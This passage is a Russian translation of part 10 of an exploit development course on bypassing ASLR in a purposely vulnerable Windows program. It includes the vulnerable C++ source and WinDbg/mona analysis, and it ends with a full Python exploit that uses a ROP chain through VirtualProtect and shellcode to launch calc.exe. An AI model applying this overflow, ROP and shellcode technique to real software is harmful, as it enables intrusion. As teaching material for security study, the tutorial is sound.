R0 CREW

Exploit Development Course Part 10: Exploitme4 (ASLR) (Перевод: klaus)

ru
#1

Перейти к содержанию

Exploitme4 (ASLR)

Если вы еще не читали предыдущие части, советую вам сделать это (І, II, III).

ASLR – это аббревиатура для Address space layout randomization (Рандомизация расположения адресного пространства). Как подсказывает название, расположение адресного пространства рандомизировано, т.е. базовые адреса PEB, TEB и всех модулей которые поддерживают ASLR меняются каждый раз после перезагрузки Windows и загрузки модулей в память. Это делает невозможным для хакеров использование статические адреса в их эксплойтах.

Существует по крайней мере два пути обхода ASLR:

  1. Найти структуры или модули, базовые адреса которых константные.
  2. Эксплуатировать утечку информации (info leak) для определения базовых адресов структур и модулей.

В данной разделе мы построим эксплойт для маленькой программы под именем exploitme4.exe.

В VS 2013 мы отключим stack cookies, но оставим DEP включенным. Перейдем в Project→properties и изменим конфигурацию для Release следующим образом:

Configuration Properties

  • C/C++

    • Code Generation

      • Security Check: Disable Security Check (/GS-)

Убедитесь что DEP активирован:

Configuration Properties

  • Linker

    • Advanced

      • Data Execution Prevention (DEP): Yes (/NXCOMPAT)

Код программы:

#include <cstdio>
#include <conio.h>
 
class Name {
    char name[32];
    int *ptr;
 
public:
    Name() : ptr((int *)name) {}
 
    char *getNameBuf() { return name; }
 
    int readFromFile(const char *filePath) {
        printf("Reading name from file...\n");
 
        for (int i = 0; i < sizeof(name); ++i)
            name[i] = 0;
 
        FILE *f = fopen(filePath, "rb");
        if (!f)
            return 0;
        fseek(f, 0L, SEEK_END);
        long bytes = ftell(f);
        fseek(f, 0L, SEEK_SET);
        fread(name, 1, bytes, f);
        fclose(f);
        return 1;
    }
 
    virtual void printName() {
        printf("Hi, %s!\n", name);
    }
 
    virtual void printNameInHex() {
        for (int i = 0; i < sizeof(name) / 4; ++i)
            printf(" 0x%08x", ptr[i]);
        printf("]\n");
    }
};
 
int main() {
    Name name;
    
    while (true) {
        if (!name.readFromFile("c:\\name.dat"))
            return -1;
        name.printName();
        name.printNameInHex();
 
        printf("Do you want to read the name again? [y/n] ");
        if (_getch() != 'y')
            break;
        printf("\n");
    }
    return 0;
}

Эта программа похожа на предыдущую, но некоторая логика была перемещена в класс. В программе также имеется цикл, поэтому мы сможем использовать программу множество раз без её перезагрузки.

Уязвимость остается прежней: мы можем переполнить буфер name (внутри класcа Name), но в этот раз мы можем эксплоитить её двумя разными способами:

  1. Объект name в стеке, по этому переполнив его свойство name мы сможем контролировать ret eip функции main() так, что когда main() вернет что-то, наш шелл-код будет выполнен.
  2. Переполняя свойство name объекта name, мы сможем перезаписать свойство ptr который используется в функции printNameInHex(). Контролируя ptr мы можем заставить printNameInHex() вывести 32 байта произвольной памяти.

Прежде всего давайте посмотрим, надо ли нам использовать утечку информации для обхода ASLR. Загрузите exploitme4.exe в WinDbg и установите точку останова на функцию main():

bp exploitme4!main

Нажмите F5. Далее давайте выведем список модулей с помощью mona:

0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules

---------- Mona command started on 2015-03-22 02:22:46 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
 0x77090000 | 0x7709a000 | 0x0000a000 | False  | True    | True  |  True    | True   | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
 0x747c0000 | 0x7481a000 | 0x0005a000 | False  | True    | True  |  True    | True   | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
 0x76890000 | 0x7695c000 | 0x000cc000 | False  | True    | True  |  True    | True   | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
 0x74e90000 | 0x74ed7000 | 0x00047000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
 0x747b0000 | 0x747b9000 | 0x00009000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
 0x747a0000 | 0x747a7000 | 0x00007000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
 0x76ad0000 | 0x76b6d000 | 0x0009d000 | False  | True    | True  |  True    | True   | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
 0x01390000 | 0x01396000 | 0x00006000 | False  | True    | True  |  True    | False  | -1.0- [exploitme4.exe] (exploitme4.exe)
 0x74f90000 | 0x75020000 | 0x00090000 | False  | True    | True  |  True    | True   | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
 0x76320000 | 0x76430000 | 0x00110000 | False  | True    | True  |  True    | True   | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
 0x755e0000 | 0x7568c000 | 0x000ac000 | False  | True    | True  |  True    | True   | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
 0x74a40000 | 0x74a4c000 | 0x0000c000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
 0x74a50000 | 0x74ab0000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
 0x770c0000 | 0x77240000 | 0x00180000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
 0x76bc0000 | 0x76c60000 | 0x000a0000 | False  | True    | True  |  True    | True   | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
 0x764c0000 | 0x765b0000 | 0x000f0000 | False  | True    | True  |  True    | True   | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
 0x6c9f0000 | 0x6cade000 | 0x000ee000 | False  | True    | True  |  True    | True   | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
 0x755a0000 | 0x755b9000 | 0x00019000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
 0x76980000 | 0x76985000 | 0x00005000 | False  | True    | True  |  True    | True   | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
 0x76790000 | 0x76890000 | 0x00100000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
 0x74d00000 | 0x74d60000 | 0x00060000 | False  | True    | True  |  True    | True   | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
----------------------------------------------------------------------------------------------------------------------------------


[+] This mona.py action took 0:00:00.110000

Как видите, все модули поддерживают ASLR, нам остается положиться только на информацию, которую мы получим из exploitme4.exe.

Основываясь на полученной информации, мы изучим базовые адреса kernel32.dll, ntdll.dll и msvcr120.dll. Что бы сделать это, сперва нам надо собрать некоторую информацию о том, как скомпонировался exploitme4.exe и о трех библиотеках, которые нас интересуют.

.next section

Для начала определим RVA (т.е. смещение относительно к базовому адресу) секции .text (т.е. кода) программы exploitme4.exe:

0:000> !dh -s exploitme4

SECTION HEADER #1
   .text name
     AAC virtual size
    1000 virtual address          <---------------------------
     C00 size of raw data
     400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read

SECTION HEADER #2
  .rdata name
     79C virtual size
    2000 virtual address
     800 size of raw data
    1000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only
<обрезано>

Здесь мы видим, что RVA имеет значение 1000h. Эта информация нам пригодится в скором времени.

Виртуальные функции

Класс Name имеет две виртуальные функции: printName() и printNameInHex(). Это значит, что Name содержит таблицу виртуальных функций которая используется для вызова этих двух функций. Посмотрим как это работает.

В ООП (Объектно-ориентированном программировании) классы могут быть специализированные, т.е. класс наследуется от другого класса.

Рассмотрим следующий пример:

#define _USE_MATH_DEFINES
#include <cmath>
#include <cstdio>
 
class Figure {
public:
    virtual double getArea() = 0;
};
 
class Rectangle : public Figure {
    double base, height;
 
public:
    Rectangle(double base, double height) : base(base), height(height) {}
 
    virtual double getArea() {
        return base * height;
    }
};
 
class Circle : public Figure {
    double radius;
 
public:
    Circle(double radius) : radius(radius) {}
 
    virtual double getArea() {
        return radius * M_PI;
    }
};
 
int main() {
    Figure *figures[] = { new Rectangle(10, 5), new Circle(1.5), new Rectangle(5, 10) };
 
    for (Figure *f : figures)
        printf("area: %lf\n", f->getArea());
 
    return 0;
}

Классы Rectangle и Circle наследуются от класса Figure, т.е. Rectangle это Figure и класс Circle тоже Figure. Это значит, что мы можем передать указатель на Rectangle или Circle когда ожидается указатель на Figure. Заметьте что Figure не имеет реализации для метода getArea(), но классы Rectangle и Circle предоставляют свои собственные специализированные реализации для этой функции.

Посмотрите на функцию main(). Первые три Figures (фигуры), т.е. два Rectangles и один Circle, созданы и их указатели помещены в массив figures. Далее, для каждого указателя типа Figure * вызывается f->getArea(). Это последнее выражение вызывает правильную реализацию getArea() в зависимости от того, какая фигура была, Rectangle или Circle.

Как это реализовано на ассемблере? Давайте посмотрим на цикл:

for (Figure *f : figures)
010910AD 8D 74 24 30          lea         esi,[esp+30h]  
010910B1 89 44 24 38          mov         dword ptr [esp+38h],eax  
010910B5 BF 03 00 00 00       mov         edi,3  
010910BA 8D 9B 00 00 00 00    lea         ebx,[ebx]  
010910C0 8B 0E                mov         ecx,dword ptr [esi]  
        printf("area: %lf\n", f->getArea());
010910C2 8B 01                mov         eax,dword ptr [ecx]  
010910C4 8B 00                mov         eax,dword ptr [eax]  
010910C6 FF D0                call        eax  
010910C8 83 EC 08             sub         esp,8  
010910CB DD 1C 24             fstp        qword ptr [esp]  
010910CE 68 18 21 09 01       push        1092118h  
010910D3 FF D3                call        ebx  
010910D5 83 C4 0C             add         esp,0Ch  
010910D8 8D 76 04             lea         esi,[esi+4]  
010910DB 4F                   dec         edi  
010910DC 75 E2                jne         main+0A0h (010910C0h)  
    return 0;
}

Интересующие строки:

010910C0 8B 0E                mov         ecx,dword ptr [esi]     // ecx = ptr to the object
        printf("area: %lf\n", f->getArea());
010910C2 8B 01                mov         eax,dword ptr [ecx]     // eax = ptr to the VFTable
010910C4 8B 00                mov         eax,dword ptr [eax]     // eax = ptr to the getArea() implementation
010910C6 FF D0                call        eax

Каждый объект начинается с указателя на ассоциированную VFTable. Все объекты типа Rectangle указывают на ту же таблицу VFTable, которая содержит указатель на реализацию метода getArea(), который в свою очередь ассоциирован с Rectangle. Объекты типа Circle указывают на другую таблицу VFTable которая содержит указатель на их собственную реализацию getArea(). C этим дополнительным уровнем косвености один и тот же ассемблерный код вызывает правильную реализацию метода getArea() для каждого объекта в зависимости от его типа, т.е. от его VFTable.

Данное изображение может помочь в понимании вышесказанного:

Вернемся к exploitme4.exe. Загрузите программу в WinDbg, установите точку останова на функцию main() и нажимайте F10 (шаг) до тех пор, пока не окажитесь внутри цикла while (смотрите в исходный код). Это делается для того что бы убедится что объект name был создан и инициализирован.

Схема объекта name следующая:

|VFTptr | name           | ptr   |
 <DWORD> <-- 32 bytes --> <DWORD>

Как было сказано ранее, указатель на таблицу виртуальных функций (Virtual Function Table) находится по смещению 0. Давайте прочитаем указатель:

0:000> dd name
0033f8b8  011421a0 0033f8e8 01141290 0114305c
0033f8c8  01143060 01143064 00000000 0114306c
0033f8d8  6ca0cc79 0033f8bc 00000001 0033f924
0033f8e8  011413a2 00000001 00574fb8 00566f20
0033f8f8  155a341e 00000000 00000000 7efde000
0033f908  00000000 0033f8f8 00000022 0033f960
0033f918  011418f9 147dee12 00000000 0033f930
0033f928  7633338a 7efde000 0033f970 770f9f72

VFTptr это 0x011421a0. Теперь посмотрим на содержимое VFTable:

0:000> dd 011421a0
011421a0  01141000 01141020 00000048 00000000
011421b0  00000000 00000000 00000000 00000000
011421c0  00000000 00000000 00000000 00000000
011421d0  00000000 00000000 00000000 00000000
011421e0  00000000 01143018 01142310 00000001
011421f0  53445352 9c20999b 431fa37a cc3e54bc
01142200  da01c06e 00000010 755c3a63 73726573
01142210  75696b5c 5c6d6e68 75636f64 746e656d

У нас есть один указатель для printName() (0x01141000) и другой для printNameInHex() (0x01141020). Давайте посчитаем RVA указателя на printName():

0:000> ? 01141000-exploitme4
Evaluate expression: 4096 = 00001000

IAT

IAT (Import Address Table – таблица адресов импорта) файла РЕ – это таблица, которую загрузчик ОС (OS loader) заполняет адресами функций импортированных из других модулей на протяжении фазы динамической линковки (dynamic linking). Когда программа хочет сделать вызов, она использует CALL следующей формы:

CALL      dword ptr ds:[location_in_IAT]

Проверяя IAT программы exploitme4.exe мы можем изучить базовые адреса модулей из которых были импортированы функции.

Сначала давайте выясним где находится IAT:

0:000> !dh -f exploitme4

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
     14C machine (i386)
       5 number of sections
550DA390 time date stamp Sat Mar 21 18:00:00 2015

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
     102 characteristics
            Executable
            32 bit word machine

OPTIONAL HEADER VALUES
     10B magic #
   12.00 linker version
     C00 size of code
    1000 size of initialized data
       0 size of uninitialized data
    140A address of entry point
    1000 base of code
         ----- new -----
00ac0000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.00 operating system version
    0.00 image version
    6.00 subsystem version
    6000 size of image
     400 size of headers
       0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
    8140  DLL characteristics
            Dynamic base
            NX compatible
            Terminal server aware
       0 [       0] address  of Export Directory
    23C4 [      3C] address  of Import Directory
    4000 [     1E0] address  of Resource Directory
       0 [       0] address  of Exception Directory
       0 [       0] address  of Security Directory
    5000 [     1B4] address  of Base Relocation Directory
    20E0 [      38] address  of Debug Directory
       0 [       0] address  of Description Directory
       0 [       0] address  of Special Directory
       0 [       0] address  of Thread Storage Directory
    21A8 [      40] address  of Load Configuration Directory
       0 [       0] address  of Bound Import Directory
    2000 [      B8] address  of Import Address Table Directory   <-----------------------
       0 [       0] address  of Delay Import Directory
       0 [       0] address  of COR20 Header Directory
       0 [       0] address  of Reserved Directory

0x2000 это RVA таблицы IAT размером в 0xB8 байт. Теперь мы можем отобразить содержимое IAT используя команду dps, которая отображает адреса с соответствующими символами:

0:000> dps exploitme4+2000 LB8/4
00ac2000  76334a25 kernel32!IsDebuggerPresentStub     <---------------------- kernel32
00ac2004  770f9dd5 ntdll!RtlDecodePointer             <---------------------- ntdll
00ac2008  763334c9 kernel32!GetSystemTimeAsFileTimeStub                                  msvcr120
00ac200c  76331420 kernel32!GetCurrentThreadIdStub                                           |
00ac2010  763311f8 kernel32!GetCurrentProcessIdStub                                          |
00ac2014  763316f1 kernel32!QueryPerformanceCounterStub                                      |
00ac2018  7710107b ntdll!RtlEncodePointer                                                    |
00ac201c  763351fd kernel32!IsProcessorFeaturePresent                                        |
00ac2020  00000000                                                                           |
00ac2024  6ca94ced MSVCR120!_XcptFilter [f:\dd\vctools\crt\crtw32\misc\winxfltr.c @ 195] <---+
00ac2028  6ca6bb8d MSVCR120!_amsg_exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 485]
00ac202c  6ca1e25f MSVCR120!__getmainargs [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 142]
00ac2030  6ca1c7ce MSVCR120!__set_app_type [f:\dd\vctools\crt\crtw32\misc\errmode.c @ 94]
00ac2034  6ca24293 MSVCR120!exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 416]
00ac2038  6ca6bbb8 MSVCR120!_exit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 432]
00ac203c  6ca24104 MSVCR120!_cexit [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 447]
00ac2040  6ca955eb MSVCR120!_configthreadlocale [f:\dd\vctools\crt\crtw32\misc\wsetloca.c @ 141]
00ac2044  6ca6b9e9 MSVCR120!__setusermatherr [f:\dd\vctools\crt\fpw32\tran\matherr.c @ 41]
00ac2048  6ca0cc86 MSVCR120!_initterm_e [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 990]
00ac204c  6ca0cc50 MSVCR120!_initterm [f:\dd\vctools\crt\crtw32\startup\crt0dat.c @ 941]
00ac2050  6cacf62c MSVCR120!__initenv
00ac2054  6cacf740 MSVCR120!_fmode
00ac2058  6c9fec80 MSVCR120!type_info::~type_info [f:\dd\vctools\crt\crtw32\eh\typinfo.cpp @ 32]
00ac205c  6ca8dc2c MSVCR120!terminate [f:\dd\vctools\crt\crtw32\eh\hooks.cpp @ 66]
00ac2060  6ca1c7db MSVCR120!__crtSetUnhandledExceptionFilter [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 194]
00ac2064  6c9fedd7 MSVCR120!_lock [f:\dd\vctools\crt\crtw32\startup\mlock.c @ 325]
00ac2068  6c9fedfc MSVCR120!_unlock [f:\dd\vctools\crt\crtw32\startup\mlock.c @ 363]
00ac206c  6ca01208 MSVCR120!_calloc_crt [f:\dd\vctools\crt\crtw32\heap\crtheap.c @ 55]
00ac2070  6ca0ca46 MSVCR120!__dllonexit [f:\dd\vctools\crt\crtw32\misc\onexit.c @ 263]
00ac2074  6ca1be6b MSVCR120!_onexit [f:\dd\vctools\crt\crtw32\misc\onexit.c @ 81]
00ac2078  6ca9469b MSVCR120!_invoke_watson [f:\dd\vctools\crt\crtw32\misc\invarg.c @ 121]
00ac207c  6ca1c9b5 MSVCR120!_controlfp_s [f:\dd\vctools\crt\fpw32\tran\contrlfp.c @ 36]
00ac2080  6ca02aaa MSVCR120!_except_handler4_common [f:\dd\vctools\crt\crtw32\misc\i386\chandler4.c @ 260]
00ac2084  6ca96bb8 MSVCR120!_crt_debugger_hook [f:\dd\vctools\crt\crtw32\misc\dbghook.c @ 57]
00ac2088  6ca9480c MSVCR120!__crtUnhandledException [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 253]
00ac208c  6ca947f7 MSVCR120!__crtTerminateProcess [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 221]
00ac2090  6c9fed74 MSVCR120!operator delete [f:\dd\vctools\crt\crtw32\heap\delete.cpp @ 20]
00ac2094  6ca9215c MSVCR120!_getch [f:\dd\vctools\crt\crtw32\lowio\getch.c @ 237]
00ac2098  6ca04f9e MSVCR120!fclose [f:\dd\vctools\crt\crtw32\stdio\fclose.c @ 43]
00ac209c  6ca1fdbc MSVCR120!fseek [f:\dd\vctools\crt\crtw32\stdio\fseek.c @ 96]
00ac20a0  6ca1f9de MSVCR120!ftell [f:\dd\vctools\crt\crtw32\stdio\ftell.c @ 45]
00ac20a4  6ca05a8c MSVCR120!fread [f:\dd\vctools\crt\crtw32\stdio\fread.c @ 301]
00ac20a8  6ca71dc4 MSVCR120!fopen [f:\dd\vctools\crt\crtw32\stdio\fopen.c @ 124]
00ac20ac  6cacf638 MSVCR120!_commode
00ac20b0  6ca72fd9 MSVCR120!printf [f:\dd\vctools\crt\crtw32\stdio\printf.c @ 49]
00ac20b4  00000000

Нам надо три адреса, каждый на модуль. Теперь давайте подсчитаем все RVA трех адресов:

0:000> ? kernel32!IsDebuggerPresentStub-kernel32
Evaluate expression: 84517 = 00014a25
0:000> ? ntdll!RtlDecodePointer-ntdll
Evaluate expression: 237013 = 00039dd5
0:000> ? MSVCR120!_XcptFilter-msvcr120
Evaluate expression: 675053 = 000a4ced

Теперь мы знаем следующее:

@exploitme4 + 00002000    kernel32 + 00014a25
@exploitme4 + 00002004    ntdll + 00039dd5
@exploitme4 + 00002024    msvcr120 + 000a4ced

Первая строка значит что по адресу exploitme4 + 00002000 размещен kernel32 + 00014a25. Даже если exploitme4 и kernel32 (которые являются базовыми адресами) изменить, все RVA останутся константами, именно поэтому таблица всегда корректна. Эта информация будет ключевой для определения базовых адресов kernel32.dll, ntdll.dll и msvcr120.dll на протяжении эксплуатации.

Появление калькулятора

Как мы уже видели, вид объекта name следующий:

|VFTptr | name           | ptr   |
 <DWORD> <-- 32 bytes --> <DWORD>

Это значит что ptr переписан двойным словом (DWORD) по смещению 32 в файлу name.dat. Пока что мы будем игнорировать ptr потому что нам надо получить контроль над EIP.

Заметьте что объект name выделен в стеке, по этому существует возможность переписать ret eip переполним свойство name.

Так как мы должны переписать ptr для того, что бы получить контроль над EIP, мы должны выбрать адрес «читаемого» участка памяти для ptr или exploitme4 завершиться с ошибкой когда попытается использовать ptr. Мы можем переписать ptr базовым адресом kernel32.dll.

Запустите свою среду разработки и выполните следующий Python скрипт:

with open(r'c:\name.dat', 'wb') as f:
    readable = struct.pack('<I', 0x76320000)
    name = 'a'*32 + readable + 'b'*100
    f.write(name)

Загрузите exploitme4 в WinDbg, нажмите F5 и в консоли exploitme4 нажмите n для выхода из main() и инициации исключения:

(ff4.2234): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6ca92195 edx=0020e0e8 esi=00000001 edi=00000000
eip=62626262 esp=001cf768 ebp=62626262 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
62626262 ??              ???

Мы можем видеть что EIP был переписан 4-мя нашими «b». Вычислим точное смещение DWORD который контролирует EIP используя следующий паттерн:

0:000> !py mona pattern_create 100
Hold on...
[+] Command used:
!py mona.py pattern_create 100
Creating cyclic pattern of 100 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile d:\WinDbg_logs\exploitme4\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open d:\WinDbg_logs\exploitme4\pattern.txt and copy the pattern from the file

[+] This mona.py action took 0:00:00.030000

Обновленный скрипт:

with open(r'c:\name.dat', 'wb') as f:
    readable = struct.pack('<I', 0x76320000)
    pattern = ('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6'+
           'Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A')
    name = 'a'*32 + readable + pattern
    f.write(name)

Повторите процесс в WinDbg для генерации другого исключения:

(f3c.23b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6ca92195 edx=001edf38 esi=00000001 edi=00000000
eip=33614132 esp=0039f9ec ebp=61413161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
33614132 ??              ???

Давайте найдем смещение для 0x33614132:

0:000> !py mona pattern_offset 33614132
Hold on...
[+] Command used:
!py mona.py pattern_offset 33614132
Looking for 2Aa3 in pattern of 500000 bytes
 - Pattern 2Aa3 (0x33614132) found in cyclic pattern at position 8
Looking for 2Aa3 in pattern of 500000 bytes
Looking for 3aA2 in pattern of 500000 bytes
 - Pattern 3aA2 not found in cyclic pattern (uppercase)  
Looking for 2Aa3 in pattern of 500000 bytes
Looking for 3aA2 in pattern of 500000 bytes
 - Pattern 3aA2 not found in cyclic pattern (lowercase)  

[+] This mona.py action took 0:00:00.180000

Теперь, когда мы знаем что смещение это 8, мы можем еще раз использовать скрипт что бы победить DEP. Нам надо сделать незначительную модификацию и не забыть обновить базовые адреса для kernel32.dll, ntdll.dll и msvcr120.dll.

Вот полный скрипт:

import struct
 
# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>
 
msvcr120 = 0x6c9f0000
kernel32 = 0x76320000
ntdll = 0x770c0000
 
def create_rop_chain():
    for_edx = 0xffffffff
 
    # rop chain generated with mona.py - www.corelan.be (and modified by me).
    rop_gadgets = [
        msvcr120 + 0xbf868,  # POP EBP # RETN [MSVCR120.dll]
        msvcr120 + 0xbf868,  # skip 4 bytes [MSVCR120.dll]
 
        # ebx = 0x400 (dwSize)
        msvcr120 + 0x1c658,  # POP EBX # RETN [MSVCR120.dll]
        0x11110511,
        msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
        0xeeeefeef,
        msvcr120 + 0x46398,  # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll]
        for_edx,
 
        # edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE)
        msvcr120 + 0xbedae,  # POP EDX # RETN [MSVCR120.dll]
        0x01010141,
        ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
        0xfefefeff,
        msvcr120 + 0x39b41,  # ADD EDX,EDI # RETN [MSVCR120.dll]
 
        msvcr120 + 0xdb6c4,  # POP ECX # RETN [MSVCR120.dll]
        kernel32 + 0xe0fce,  # &Writable location [kernel32.dll]
        ntdll + 0x75b23,     # POP EDI # RETN [ntdll.dll]
        msvcr120 + 0x68e3d,  # RETN (ROP NOP) [MSVCR120.dll]
        msvcr120 + 0x6e150,  # POP ESI # RETN [MSVCR120.dll]
        ntdll + 0x2e8ae,     # JMP [EAX] [ntdll.dll]
        msvcr120 + 0x50464,  # POP EAX # RETN [MSVCR120.dll]
        msvcr120 + 0xe51a4,  # address of ptr to &VirtualProtect() [IAT MSVCR120.dll]
        msvcr120 + 0xbb7f9,  # PUSHAD # RETN [MSVCR120.dll]
        kernel32 + 0x37133,  # ptr to 'call esp' [kernel32.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        readable = struct.pack('<I', kernel32)
        ret_eip = struct.pack('<I', kernel32 + 0xb7805)            # RETN
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        name = 'a'*32 + readable + 'a'*8 + ret_eip + create_rop_chain() + shellcode
        f.write(name)
 
write_file(r'c:\name.dat')

Запустите скрипт, потом запустите exploitme4.exe и выйдите из программы нажатием «n» в командной строке. Если вы сделали всё правильно, должен появится калькулятор. Мы сделали это!

Использования утечки информации

